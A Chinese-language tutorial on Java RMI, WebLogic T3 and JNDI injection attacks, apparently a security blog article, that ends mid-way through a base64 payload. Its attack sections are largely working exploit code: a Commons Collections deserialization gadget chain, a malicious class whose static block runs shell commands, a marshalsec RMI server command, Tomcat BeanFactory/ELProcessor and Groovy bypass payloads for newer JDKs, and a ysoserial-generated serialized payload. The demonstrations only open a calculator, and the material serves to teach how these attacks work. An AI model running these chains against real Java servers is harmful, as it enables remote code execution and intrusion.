調用遠程方法hello.echo(message);if (message.equals("quit")) {break;}}} }

JAVA RMI與?Weblogic RMI

RMI是基于JRMP協議的,而Weblogic RMI是基于T3協議(也有基于CORBA的IIOP協議)。WebLogic RMI是WebLogic對Java RMI的實現,它們之間的不同在于:

(1)WebLogic的字節碼生成功能會自動生成服務端的字節碼到內存。不再生成Skeleton骨架對象,也不需要使用UnicastRemoteObject對象。

(2)在WebLogic RMI 客戶端中,字節碼生成功能會自動為客戶端生成代理對象,因此Stub也不再需要。

T3傳輸協議是WebLogic的自有協議,它有如下特點:

(1)服務端可以持續追蹤監控客戶端是否存活(心跳機制),通常心跳的間隔為60秒,服務端在超過240秒未收到心跳即判定與客戶端的連接丟失。

(2)通過建立一次連接可以將全部數據包傳輸完成,優化了數據包大小和網絡消耗。

Weblogic RMI Demo

和RMI類似,先創建服務端對象接口和實現類:

public interface IHello extends java.rmi.Remote {String sayHello() throws RemoteException; } public class HelloImpl implements IHello {public String sayHello() {return "Hello Remote World!!";} }

服務端不再需要Skeleton對象和UnicastRemoteObject對象,服務端代碼如黃框所示:

客戶端中也不再需要stub:

Weblogic T3 協議

RMI的Client與Service交互采用JRMP協議,而Weblogic RMI采用T3協議。

WebLogic RMI調用時T3協議握手后的數據包,包含不止一個序列化魔術頭(0xac 0xed 0x00 0x05),每個序列化數據包前面都有相同的二進制串(0xfe 0x01 0x00 0x00),每個數據包上面都包含了一個T3協議頭,前4個字節正好對應著數據包長度。

RMI反序列化漏洞

RMI使用反序列化機制來傳輸Remote對象,那么如果是個惡意的對象,在服務器端進行反序列化時便會觸發反序列化漏洞。如果此時服務端存在Apache Commons Collections這種庫,就會導致遠程命令執行。即Runtime.getRuntime().exec(“calc”)等語句。

該庫中含有一個接口類叫做Tranesformer,其實現類有ChainedTransformer、ConstantTransformer、InvokerTransformer、CloneTransformer、ClosureTransformer、ExceptionTransformer、FactoryTransformer、InstantiateTransformer、MapTransformer、NOPTransformer、PredicateTransformer、StringValueTransformer、SwitchTransformer。前三個可以在反序列化攻擊中進行利用,其本身功能及關鍵代碼如下:

//InvokerTransformer構造函數接受三個參數,并通過反射執行一個對象的任意方法public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {this.iMethodName = methodName;this.iParamTypes = paramTypes;this.iArgs = args;}public Object transform(Object input) {Class cls = input.getClass();Method method = cls.getMethod(this.iMethodName, this.iParamTypes);return method.invoke(input, this.iArgs);} //ConstantTransformer構造函數接受一個參數,并返回傳入的參數public ConstantTransformer(Object constantToReturn) {this.iConstant = constantToReturn;}public Object transform(Object input) {return this.iConstant;} //ChainedTransformer構造函數接受一個Transformer類型的數組,并返回傳入數組的每一個成員的Transformer方法public ChainedTransformer(Transformer[] transformers) {this.iTransformers = transformers;}public Object transform(Object object) {for(int i = 0; i < this.iTransformers.length; ++i) {object = this.iTransformers[i].transform(object);}return object;}

將上述函數組合起來構造遠程命令執行鏈:

Transformer[] transformers_exec = new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{null,null}),new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}) }; Transformer chain = new ChainedTransformer(transformers_exec); chain.transform('1');

那么接下來的問題就是,真實環境中如何觸發ChainedTransformer.transform,有兩個類調用了transform方法,LazyMap和TransformedMap。TransformedMap中的調用流程為setValue ==> checkSetValue ==> valueTransformer.transform(value),所以如果用TransformedMap調用transform方法,需要生成一個TransformedMap然后修改Map中的value值即可觸發,上述執行鏈添加如下部分:

Transformer chainedTransformer = new ChainedTransformer(transformers_exec); Map inMap = new HashMap(); inMap.put("key", "value"); Map outMap = TransformedMap.decorate(inMap, null, chainedTransformer);//生成 Map.Entry onlyElement = (Map.Entry) outerMap.entrySet().iterator().next(); onlyElement.setValue("foobar");

如果用LazyMap調用transform方法,調用流程為get==>factory.transform(key),但是這些也還是需要手動調用去修改值。要自動觸發需要執行readObject()方法,所用的類為AnnotationInvocationHandler,該類是JAVA運行庫中的一個類,這個類有一個成員變量memberValues是Map類型,并且類中的readObject()函數中對memberValues的每一項調用了setValue()函數,完整代碼如下:

Transformer[] transformers = new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})};Transformer chainedTransformer = new ChainedTransformer(transformers);Map inMap = new HashMap();//創建一個含有Payload的惡意mapinMap.put("key", "value");Map outMap = TransformedMap.decorate(inMap, null, chainedTransformer);//創建一個含有惡意調用鏈的Transformer類的Map對象Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");//獲取AnnotationInvocationHandler類對象Constructor ctor = cls.getDeclaredConstructor(new Class[] { Class.class, Map.class });//獲取AnnotationInvocationHandler類的構造方法ctor.setAccessible(true); // 設置構造方法的訪問權限Object instance = ctor.newInstance(new Object[] { Retention.class, outMap });FileOutputStream fos = new FileOutputStream("payload.ser");ObjectOutputStream oos = new ObjectOutputStream(fos);oos.writeObject(instance);oos.flush();oos.close();FileInputStream fis = new FileInputStream("payload.ser");ObjectInputStream ois = new ObjectInputStream(fis);// 觸發代碼執行Object newObj = ois.readObject();ois.close();

在RMI中利用,即在反序列化基礎上,加入如下代碼:

InvocationHandler h = (InvocationHandler) instance;// 實例化AnnotationInvocationHandlerRemote r = Remote.class.cast(Proxy.newProxyInstance(Remote.class.getClassLoader(),new Class[]{Remote.class},h));try{Registry registry = LocateRegistry.getRegistry(port);registry.rebind("hello", r); // r is remote obj}catch (Throwable e) {e.printStackTrace();}

另外對于RMI服務攻擊,可以使用URLClassLoader方法回顯:

Object instance = PayloadGeneration.generateURLClassLoaderPayload("http://****/java/", "exploit.ErrorBaseExec", "do_exec", "pwd");

三、JNDI簡介

在介紹JNDI注入之前,要說說JNDI是什么。

JNDI(Java Naming and Directory Interface,Java命名與目錄接口),如果從名稱上進行拆分,可以分為命名服務和目錄服務。命名服務是將名稱與值關聯起來的實體,也稱為“綁定”(bindings)。例如,域名www.baidu.com和IP地址202.108.22.5綁定、姓名和身份證號綁定,都可以理解為一種命名服務。

命名服務提供了基于名稱來查找對象的方法,我們可以通過姓名這種好記的名稱來查找身份證的值,即lookup(查找)或search(搜索)。

目錄服務是一種特殊的命名服務,只是在查找時找的是目錄對象,它存有對象的所有屬性,那么在操作時也操作的是對象的屬性。

JNDI的架構如下:

Java Application ->JNDI API -> Naming Manager -> JNDI SPI(LDAP、DNS、NIS、NDS、RMI、CORBA)

RMI與JNDI

JNDI提供了與不同類型的服務交互的公共接口。但其自身不區分客戶端和服務端,也不具備遠程能力。JNDI在客戶端上主要進行訪問、查詢和檢索等,在服務端主要進行配置管理等,比如在RMI服務端上不直接使用Registry進行bind而使用JNDI統一管理。

JNDI架構如下圖,Naming Manager包含用于創建上下文對象和對象的靜態方法。服務器提供者接口(SPI)允許JNDI管理不同的服務。

SPI(Service Provider Interface),服務提供發現機制,Service通常指接口/抽象類,Provider則是接口的具體實現(如AService、BService)。在配置文件中配置Service的實現類,就可以通過ServiceLoader來調用所有的Provider。那么JNDI SPI可以理解為,通過JNDI,根據綁定對應的名稱,來調用和管理LDAP、DNS等各類服務。

JNDI應用

數據庫開發的代碼簡單的寫法如下,但是這種寫法存在一些問題,例如當url、用戶名和密碼變化時就需要修改源碼。

username="root"; password="root"; url="jdbc:mysql://localhost:3306/xxx"; Class.forName("com.mysql.jdbc.Driver"); conn=DriverManager.getConnection(url, username, password);

而使用JNDI的話,在META-INF下創建一個context.xml文件:

<Context><Resourcename="jndi/mybatis" <! -- 以項目名稱命名--> auth="Container"driverClassName="com.mysql.jdbc.Driver"password="root"type="javax.sql.DataSource"url="jdbc:mysql://localhost:3306/xxx"username="root" /> </Context>

數據庫連接的代碼就改成了這樣,要修改的話只需要修改配置文件,而無需修改代碼。根據Resource的name進行搜索(命名服務的特點),根據相關屬性加載類對象。從這個Demo也可以看出,Naming Manager能夠創建上下文對象(Context)并根據位置信息引用對象的靜態方法:

Connection conn=null; InitialContext ctx=new InitialContext(); Context envContext=(Context) ctx.lookup("java:comp/env"); DataSource ds=(DataSource) envContext.lookup("jndi/mybatis"); conn=ds.getConnection();

JNDI接口在初始化時,可以將RMI URL作為參數傳入,而JNDI注入就出現在客戶端的lookup()函數中,如果lookup()的參數可控就可能被攻擊。

Hashtable env = new Hashtable(); env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory"); //com.sun.jndi.rmi.registry.RegistryContextFactory 是RMI Registry Service Provider對應的Factory env.put(Context.PROVIDER_URL, "rmi://kingx_kali:8080"); Context ctx = new InitialContext(env); Object local_obj = ctx.lookup("rmi://kingx_kali:8080/test")//將名稱refObj與一個對象綁定,這里底層也是調用的rmi的registry去綁定 ctx.bind("refObj", new RefObject()); //通過名稱查找對象 ctx.lookup("refObj");

在JNDI服務中,RMI服務端除了直接綁定遠程對象之外(JAVA序列化傳輸對象到遠程服務器),還可以通過命名引用的方式通過綁定,由命名管理器進行解析的一個引用。引用由References類來綁定一個外部的遠程對象(當前名稱目錄系統之外的對象)。綁定了Reference之后,服務端會先通過Referenceable.getReference()獲取綁定對象的引用,并且在目錄中保存。當客戶端在lookup()查找這個遠程對象時,客戶端會獲取相應的object factory,最終通過factory類將reference轉換為具體的對象實例。

Reference reference = new Reference("MyClass","MyClass",FactoryURL); ReferenceWrapper wrapper = new ReferenceWrapper(reference); ctx.bind("Foo", wrapper);

JNDI動態協議轉換

JNDI除了與RMI搭配使用,還可以與LDAP、CORBA等,JNDI與LDAP配合使用方式如下:

Hashtable env = new Hashtable(); env.put(Context.INITIAL_CONTEXT_FACTORY,"com.sun.jndi.ldap.LdapCtxFactory"); env.put(Context.PROVIDER_URL, "ldap://localhost:1389");DirContext ctx = new InitialDirContext(env); //通過名稱查找遠程對象,假設遠程服務器已經將一個遠程對象與名稱cn=foo,dc=test,dc=org綁定了 Object local_obj = ctx.lookup("cn=foo,dc=test,dc=org");

這是手動設置服務工廠及PROVIDER_URL的方式,JNDI還提供協議的動態轉換,即使我們不設置上述內容,如果ctx.lookup("rmi://attacker-server/refObj");執行便自動轉換對應服務。

Hashtable env = new Hashtable(); env.put(Context.INITIAL_CONTEXT_FACTORY,"com.sun.jndi.rmi.registry.RegistryContextFactory"); env.put(Context.PROVIDER_URL,"rmi://localhost:9999"); Context ctx = new InitialContext(env); String name = "ldap://attacker-server/cn=bar,dc=test,dc=org"; //通過名稱查找對象 ctx.lookup(name);

此處的lookup中的參數如果可控就可以根據攻擊者提供的URL進行動態轉換。

四、JNDI注入攻擊

JNDI注入是BlackHat 2016(USA)@pentester 的一個議題"A Journey From JNDI LDAP Manipulation To RCE"提出的。

根據上述demo可以發現JNDI注入流程是(以RMI為例),如果目標代碼中調用了InitialContext.lookup(URI),且URI為用戶可控->攻擊者控制URI參數為惡意的RMI服務地址,如:rmi://hacker_rmi_server//name->攻擊者RMI服務器向目標返回一個Reference對象,Reference對象中指定某個精心構造的Factory類->目標在進行lookup()操作時,會動態加載并實例化Factory類,接著調用factory.getObjectInstance()獲取外部遠程對象實例;->攻擊者可以在Factory類文件的構造方法、靜態代碼塊、getObjectInstance()方法等處寫入惡意代碼,達到RCE的效果。調用鏈為:RegistryContext.decodeObject()->NamingManager.getObjectInstance()-> factory.getObjectInstance()。

JNDI主要的攻擊向量有:RMI、JNDI Reference、Remote Object、LDAP、Serialized Object、JNDI Reference、Remote Location、CORBA、IOR

JNDI注入攻擊,它可以與RMI和LDAP攻擊相結合,但是在高版本JDK中都將trustURLCodebase默認值改為了false,限制了從遠程codebase加載對象。RMI對應的限制JDK為:JDK 6u132、7u122、8u113;LDAP對應的限制JDK為:JDK6u211、7u201、8u191、11.0.1。限制了遠程加載后,大家就開始研究從本地環境中尋找利用類,如Tomcat的org.apache.naming.factory.BeanFactory,它具備反射功能,可以通過傳入一個類來執行類中的方法。現有的類利用方式包含:javax.el.ELProcessor#eval、groovy.lang.GroovyShell#evaluate等。

JNDI工具名稱地址
JNDI-Injection-Exploithttps://github.com/welk1n/JNDI-Injection-Exploit/
Rogue JNDIhttps://github.com/veracode-research/rogue-jndi
marshalsechttps://github.com/mbechler/marshalsec

(1)JNDI Reference+RMI

public class RMIServer1 {public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {Registry registry = LocateRegistry.createRegistry(9999); // Reference refObj = new Reference("refClassName", "FactoryClassName", "http://example.com:12345/");//refClassName為類名加上包名,FactoryClassName為工廠類名并且包含工廠類的包名Reference refObj = new Reference("ExportObject", "com.longofo.remoteclass.ExportObject", "http://127.0.0.1:8000/");ReferenceWrapper refObjWrapper = new ReferenceWrapper(refObj);registry.bind("refObj", refObjWrapper);} } public class RMIClient1 {public static void main(String[] args) throws RemoteException, NotBoundException, NamingException {Properties env = new Properties();env.put(Context.INITIAL_CONTEXT_FACTORY,"com.sun.jndi.rmi.registry.RegistryContextFactory");env.put(Context.PROVIDER_URL,"rmi://localhost:9999");Context ctx = new InitialContext();ctx.lookup("rmi://localhost:9999/refObj");} }

當運行lookup函數時,RegistryContext.decodeObject() 會被調用,然后調用NamingManager.getObjectInstance() 進行實例化,最終返回Reference,然后getObjectFactoryFromReference() 會從Reference中得到實例化的類。攻擊者可以提供自己的工廠類,一旦實例化就會運行payload。

整個攻擊過程為:攻擊者為JNDI lookup提供了一個絕對的RMI URL,然后服務器連接到攻擊者控制的RMI注冊表,該注冊表將返回惡意的JNDI引用,服務器解碼JNDI引用后從攻擊者控制的服務器獲取工廠類,進行實例化的時候payload執行。所以此攻擊方式可以用于 Spring's JndiTemplate或Apache’s Shiro JndiTemplate 等調用InitialContext.lookup()的情況。

(2)JNDI+LDAP

Naming Manager在JAVA對象(JAVA序列化、JNDI references等)解析運行時可能造成RCE,DirContext.lookup() JNDI注入和“LDAP Entry Poisoning”的主要區別是,對于前者,攻擊者就可以使用自己的LDAP服務器,對于后者,攻擊者需要攻擊LDAP服務器條目,與應用程序交互時等待期返回被攻擊條目的屬性。

攻擊過程為:攻擊者為JND lookup提供了一個絕對LDAP URL,服務器連接到攻擊者控制的LDAP服務器,該服務器返回惡意的JNDI引用。服務器解碼JNDI引用從攻擊者控制的服務器獲取工廠類,實例化工廠類時payload得以執行。

LDAP Entry Poisoning

LDAP攻擊主要針對于屬性而非對象,例如,用lookup方法查找對象時,search()方法是在檢索LDAP條目的所需屬性(例如:用戶名、密碼、電子郵件等),當只請求屬性時,就不會有可能危及服務器的Java對象解碼。然而,如果應用程序執行搜索操作,并將returnObjFlag設置為true,那么控制LDAP響應的攻擊者將能夠在應用服務器上執行任意命令。

(3)JNDI+CORBA

org.omg.CORBA.Object read_Object會對IOR進行解析:

public org.omg.CORBA.Object read_Object(Class clz) {// In any case, we must first read the IOR. IOR ior = IORFactories.makeIOR(parent); if (ior.isNil()) return null;PresentationManager.StubFactoryFactory sff = ORB.getStubFactoryFactory();String codeBase = ior.getProfile().getCodebase(); <1> PresentationManager.StubFactory stubFactory = null; if (clz == null) { RepositoryId rid = RepositoryId.cache.getId(ior.getTypeId()); <2> String className = rid.getClassName(); boolean isIDLInterface = rid.isIDLType();if (className == null || className.equals( "" )) stubFactory = null; else try { <3>stubFactory = sff.createStubFactory(className, isIDLInterface, codeBase, (Class)null, (ClassLoader)null); } catch (Exception exc) { stubFactory = null;}else if (StubAdapter.isStubClass( clz )) {stubFactory = PresentationDefaults.makeStaticStubFactory(clz); } else { // clz is an interface classboolean isIDL = IDLEntity.class.isAssignableFrom( clz ) ; stubFactory = sff.createStubFactory( clz.getName(),isIDL, codeBase, clz, clz.getClassLoader() ) ; } return internalIORToObject( ior, stubFactory, orb ) ; }

攻擊者可以手工創建一個IOR,該IOR指定在他控制下的代碼庫位置<1>和IDL接口<2>,即存根工廠的位置。然后,它可以將運行有效負載的存根工廠類放在其構造函數中,并在目標服務器<3>中實例化存根,從而成功地運行payload

攻擊過程:攻擊者為JNDI lookup提供了一個絕對的IIOP URL。服務器連接到攻擊者控制的ORB,該ORB將返回惡意IOR,然后服務器解碼IOR從攻擊者控制的服務器獲取存根工廠類。進行實例化的同時payload執行。

五、JNDI攻擊流程

JNDI攻擊的DEMO如下,上面說到JNDI支持很多的服務,如rmi、ldap等,所以在攻擊時有一些區別。

Hashtable env = new Hashtable(); // rmi攻擊 env.put(INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory"); env.put(PROVIDER_URL, "rmi://localhost:1099"); // ldap攻擊 env.put(Context.INITIAL_CONTEXT_FACTORY,"com.sun.jndi.ldap.LdapCtxFactory"); env.put(Context.PROVIDER_URL, "ldap://localhost:389");Context ctx = new InitialContext(env); ctx.bind(“foo”, “Sample String”); // Bind a String to the name “foo” in the RMI Registry Object local_obj = ctx.lookup(“foo”); // Look up the object

PS:除了javax.naming.InitialContext,它的子類InitialDirContext和InitialLdapContext也受此攻擊影響

RMI的文章中講過,遠程方法調用過程中傳遞的是stub(代理對象),而不是對象本身,因為序列化的數據可能很大,每次傳遞大量的序列化數據并不是一個很好的設計。所以JNDI引入了Naming References,給了對象一個地址rmi://server/ref,從遠程的codebase中加載class。

JNDI簡單來說就是InitialContext.lookup(URI)根據名稱來查找某個服務,URI可能是rmi://server/ref,也可能是ldap://server/ref。如果這個URI可控,并且傳入的是攻擊者的RMI服務器地址rmi://hacker_server/ref,那么獲取到的就可能是一個惡意類。在查找過程中類會被動態加載并進行實例化,所以如果惡意類的構造方法/靜態代碼塊static/getObjectInstance方法里寫入了惡意代碼,就會達到RCE(遠程代碼執行)的效果。

JNDI攻擊流程(以RMI服務為例)

(1)攻擊者綁定一個惡意類在RMI服務中

惡意類如下:

public class Exp_fast {public void Exploit() {}static{try {String[] cmds = System.getProperty("os.name").toLowerCase().contains("win")? new String[]{"cmd.exe","/c", "calc.exe"}: new String[]{"/bin/bash","-c", "open /Applications/Calculator.app"};Runtime.getRuntime().exec(cmds);} catch (Exception e) {e.printStackTrace();}}public static void main(String[] args) {Exp_fast e = new Exp_fast();} }

用marshalsec工具起一個RMI服務,并綁定惡意類Exp_fast:

java -cp marshalsec.jar marshalsec.jndi.RMIRefServer http://ip:1389/\#Exp_fast(惡意腳本名稱)

(2)攻擊者在應用程序的lookup方法中傳入JNDI的地址,并觸發lookup方法:

public static void main(String[] args) {System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");//高版本JDK需開啟遠程調用try {String uri = "rmi://127.0.0.1:1099/Evil";Context ctx = new InitialContext();ctx.lookup(uri);} catch (Exception e) {e.printStackTrace();}}

(3)應用程序訪問攻擊者的命名或目錄服務,并獲取到惡意類

此時RMI服務器1099端口會有如下記錄:

Have connection from /127.0.0.1:52420 Reading message... Is RMI.lookup call for Exp_fast 2 Sending remote classloading stub targeting http://localhost:1389/Exp_fast.class Closing connection

HTTP服務器1389端口會有如下記錄:

Serving HTTP on 0.0.0.0 port 1389 (http://0.0.0.0:1389/) ... 127.0.0.1 - - [21/May/2020 19:11:07] "GET /Exp_fast.class HTTP/1.1" 200 -

(4)應用程序對惡意類進行實例化,攻擊載荷被執行

根據上述流程也可以看出來,應用程序的lookup中傳入rmi地址,觸發lookup請求后,請求了RMI注冊表,得到了這樣的反饋:Sending remote classloading stub targeting http://localhost:1389/Exp_fast.class,然后又向這個http地址發起了請求,最終獲得了惡意類,然后實例化的過程中,執行了static代碼塊中的內容,最終彈了計算器。

六、高版本限制與bypass

高版本限制

JDK 6u132、7u122、8u113中系統屬性com.sun.jndi.rmi.object.trustURLCodebase、com.sun.jndi.cosnaming.object.trustURLCodebase 的默認值變為false,即默認不允許從遠程的Codebase加載Reference工廠類。想要進行利用,需要將這兩個值改為false。

JDK6u211、7u201、8u191、11.0.1中將com.sun.jndi.ldap.object.trustURLCodebase 的默認值變為false。與上述RMI的限制類似。

RMI bypass

上述這些高版本中不能再從遠程url中加載惡意類,那么就需要從本地的CLASSPATH入手,找一個惡意的工廠類,來執行命令或者進行反序列化構造。

JNDI調用RMI的調用棧如下:

javax.naming.InitialContext #lookupcom.sun.jndi.toolkit.url.GenericURLContext #lookupcom.sun.jndi.rmi.registry.RegistryContext #lookupcom.sun.jndi.rmi.registry.RegistryContext #decodeObject --> 判斷trustURLCodebasejavax.naming.spi.NamingManager #getObjectInstance

在RegistryContext#lookup時會獲得一個Remote對象,被ReferenceWrapper包裝,結構如下:

ReferenceWrapper[Reference[className="Foo", addrs={...}, classFactory="Evil", classFactoryLocation="http://ip:1389/#Evil],UnicastServerRef[liveRef: [endpoint:[localhost:56396](local),objID:...] ]

在RegistryContext#decodeObject這步中會判斷trustURLCodebase,在高版本JDK中該值默認為false,所以會拋出異常。

if (var8 != null && var8.getFactoryClassLocation() != null && !trustURLCodebase) {throw new ConfigurationException("The object factory is untrusted. Set the system property 'com.sun.jndi.rmi.object.trustURLCodebase' to 'true'."); }

NamingManager#getObjectInstance有如下代碼:

factory = getObjectFactoryFromReference(ref, f); //從CLASSPATH中加載factoryName對應的類,如果沒找到就從codebase中加載 if (factory != null) {return factory.getObjectInstance(ref, name, nameCtx, environment); }//getObjectFactoryFromReference的核心三步: clas = helper.loadClass(factoryName); // 從CLASSPATH中加載factoryName對應的類 clas = helper.loadClass(factoryName, codebase); // 如果沒找到就從codebase中加載 return (clas != null) ? (ObjectFactory) clas.newInstance() : null; //類加載成功就進行實例化,并將其轉換成ObjectFactory類型

也就是如果能從本地找到對應的類,就加載類進行實例化,轉換成ObjectFactory類型,然后調用該類的getObjectInstance方法。

Tomcat BeanFactory繞過

有人找到了Tomcat中的org.apache.naming.factory.BeanFactory類,該類實現了ObjectFactory接口,并且具備getObjectInstance方法。具體看一下getObjectInstance方法的源碼:

public class BeanFactory implements ObjectFactory{public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws NamingException {if (obj instanceof ResourceRef) { //obj需要為ResourceRef類型 --> (1)要求為ResourceRef類型try {Reference ref = (Reference)obj;String beanClassName = ref.getClassName();Class<?> beanClass = null;ClassLoader tcl = Thread.currentThread().getContextClassLoader();if (tcl != null) {try {beanClass = tcl.loadClass(beanClassName); //根據className加載類}...Object bean = beanClass.getConstructor().newInstance(); //構造方法創建對象 -->(2)要求類中有無參構造方法RefAddr ra = ref.get("forceString"); //獲取forceString的內容if (ra != null) {value = (String)ra.getContent();Class<?>[] paramTypes = new Class[]{String.class}; //參數類型,String數組型String[] arr$ = value.split(",");for(int i$ = 0; i$ < i; ++i$) { //對forceString內容進行遍歷String param = arr$[i$];param = param.trim();int index = param.indexOf(61); // 根據=號截取forceString --> (3)如果沒有setter方法,需要將方法名放到等號后,如x=eval,調用eval方法if (index >= 0) {propName = param.substring(index + 1).trim(); //=號后的內容為propNameparam = param.substring(0, index).trim(); //=號前的內容為param}forced.put(param, beanClass.getMethod(propName, paramTypes)); // 根據方法名、參數類型獲取方法。param是即將傳入方法的參數}value = (String)ra.getContent(); //從ra中獲取方法值Method method = (Method)forced.get(propName);if (method != null) {valueArray[0] = value;try {method.invoke(bean, valueArray); //調用方法}} }

BeanFactory相當于Tomcat本地可以利用的類,但是想要執行命令還需要找一個配合的類。因為BeanFactory只提供反射調用。具體調用哪個類需要根據getObjectInstance的邏輯來構造。之前的文章《Java WebShell1—Java 命令執行》提過ELProcessor命令執行,該類具有無參構造方法。類是從Reference的結構中讀取的,那么想要利用ELProcessor配合BeanFactory,就需要將結構賦值成如下的形式。

Reference[className="javax.el.ELProcessor", addrs={...}, classFactory="org.apache.naming.factory.BeanFactory", classFactoryLocation=null],

最終構造的Server端代碼如下,此時Client端lookup查詢Evil類即可觸發:

ResourceRef ref=new ResourceRef("javax.el.ELProcessor",null,"","",true,"org.apache.naming.factory.BeanFactory",null); ref.add(new StringRefAddr("forceString","x=eval")); ref.add(new StringRefAddr("x","{\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['open','-a','/System/Applications/Calculator.app']).start()\")}"));ReferenceWrapper referenceWrapper=new com.sun.jndi.rmi.registry.ReferenceWrapper(ref); registry.bind("Evil",referenceWrapper);

還有利用Groovy進行命令執行的方式。

Registry registry= LocateRegistry.createRegistry(1099); ResourceRef ref=new ResourceRef("groovy.lang.GroovyClassLoader",null,"","",true,"org.apache.naming.factory.BeanFactory",null); ref.add(new StringRefAddr("forceString","x=parseClass")); String script = "@groovy.transform.ASTTest(value={\n" +" assert java.lang.Runtime.getRuntime().exec(\"open -a /System/Applications/Calculator.app\")\n" +"})\n" +"def x\n"; ref.add(new StringRefAddr("x",script));ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(ref); registry.bind("Evil", referenceWrapper); }

更多高版本JDK下JNDI 漏洞的利用方法,請參考:

探索高版本 JDK 下 JNDI 漏洞的利用方法 - 跳跳糖

LDAP bypass

LDAP發送實體時,可以為存儲的Java對象指定多種屬性,具體如下:

0 = "objectClass"1 = "javaSerializedData"2 = "javaClassName"3 = "javaFactory"4 = "javaCodeBase"5 = "javaReferenceAddress"6 = "javaClassNames"7 = "javaRemoteLocation"

JNDI從codebase拉取對象時,服務器的屬性設置如下,但這種方法被高版本禁止了。

// JNDI Reference e.addAttribute("javaCodeBase", cbstring); e.addAttribute("objectClass", "javaNamingReference"); e.addAttribute("javaFactory", this.codebase.getRef());

所以繞過思路是從javaSerializedData屬性入手,一旦該屬性值不為空,客戶端的decodeObject方法就會對這個屬性的值進行反序列化。如果此時被攻擊的系統中存在CommonsCollections等,就可以產生攻擊。具體設置如下,base64字符串可以通過java -jar ysoserial.jar CommonsCollection5 "open -a Calculator" | base64"來生成:

// 序列化對象 String base64String="rO0ABXNyAC5qYXZheC5tYW5hZ2VtZW50LkJhZEF0dHJpYnV0ZVZhbHVlRXhwRXhjZXB0aW9u1Ofaq2MtRkACAAFMAAN2YWx0ABJMamF2YS9sYW5nL09iamVjdDt4cgATamF2YS5sYW5nLkV4Y2VwdGlvbtD9Hz4aOxzEAgAAeHIAE2phdmEubGFuZy5UaHJvd2FibGXVxjUnOXe4ywMABEwABWNhdXNldAAVTGphdmEvbGFuZy9UaHJvd2FibGU7TAANZGV0YWlsTWVzc2FnZXQAEkxqYXZhL2xhbmcvU3RyaW5nO1sACnN0YWNrVHJhY2V0AB5bTGphdmEvbGFuZy9TdGFja1RyYWNlRWxlbWVudDtMABRzdXBwcmVzc2VkRXhjZXB0aW9uc3QAEExqYXZhL3V0aWwvTGlzdDt4cHEAfgAIcHVyAB5bTGphdmEubGFuZy5TdGFja1RyYWNlRWxlbWVudDsCRio8PP0iOQIAAHhwAAAAA3NyABtqYXZhLmxhbmcuU3RhY2tUcmFjZUVsZW1lbnRhCcWaJjbdhQIABEkACmxpbmVOdW1iZXJMAA5kZWNsYXJpbmdDbGFzc3EAfgAFTAAIZmlsZU5hbWVxAH4ABUwACm1ldGhvZE5hbWVxAH4ABXhwAAAAUXQAJnlzb3NlcmlhbC5wYXlsb2Fkcy5Db21tb25zQ29sbGVjdGlvbnM1dAAYQ29tbW9uc0NvbGxlY3Rpb25zNS5qYXZhdAAJZ2V0T2JqZWN0c3EAfgALAAAAM3EAfgANcQB+AA5xAH4AD3NxAH4ACwAAACV0ABl5c29zZXJpYWwuR2VuZXJhdGVQYXlsb2FkdAAUR2VuZXJhdGVQYXlsb2FkLmphdmF0AARtYWluc3IAJmphdmEudXRpbC5Db2xsZWN0aW9ucyRVbm1vZGlmaWFibGVMaXN0/A8lMbXsjhACAAFMAARsaXN0cQB+AAd4cgAsamF2YS51dGlsLkNvbGxlY3Rpb25zJFVubW9kaWZpYWJsZUNvbGxlY3Rpb24ZQgCAy173HgIAAUwAAWN0ABZMamF2YS91dGlsL0NvbGxlY3Rpb247eHBzcgATamF2YS51dGlsLkFycmF5TGlzdHiB0h2Zx2GdAwABSQAEc2l6ZXhwAAAAAHcEAAAAAHhxAH4AGnhzcgA0b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmtleXZhbHVlLlRpZWRNYXBFbnRyeYqt0ps5wR/bAgACTAADa2V5cQB+AAFMAANtYXB0AA9MamF2YS91dGlsL01hcDt4cHQAA2Zvb3NyACpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMubWFwLkxhenlNYXBu5ZSCnnkQlAMAAUwAB2ZhY3Rvcnl0ACxMb3JnL2FwYWNoZS9jb21tb25zL2NvbGxlY3Rpb25zL1RyYW5zZm9ybWVyO3hwc3IAOm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5mdW5jdG9ycy5DaGFpbmVkVHJhbnNmb3JtZXIwx5fsKHqXBAIAAVsADWlUcmFuc2Zvcm1lcnN0AC1bTG9yZy9hcGFjaGUvY29tbW9ucy9jb2xsZWN0aW9ucy9UcmFuc2Zvcm1lcjt4cHVyAC1bTG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5UcmFuc2Zvcm1lcju9Virx2DQYmQIAAHhwAAAABXNyADtvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuQ29uc3RhbnRUcmFuc2Zvcm1lclh2kBFBArGUAgABTAAJaUNvbnN0YW50cQB+AAF4cHZyABFqYXZhLmxhbmcuUnVudGltZQAAAAAAAAAAAAAAeHBzcgA6b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkludm9r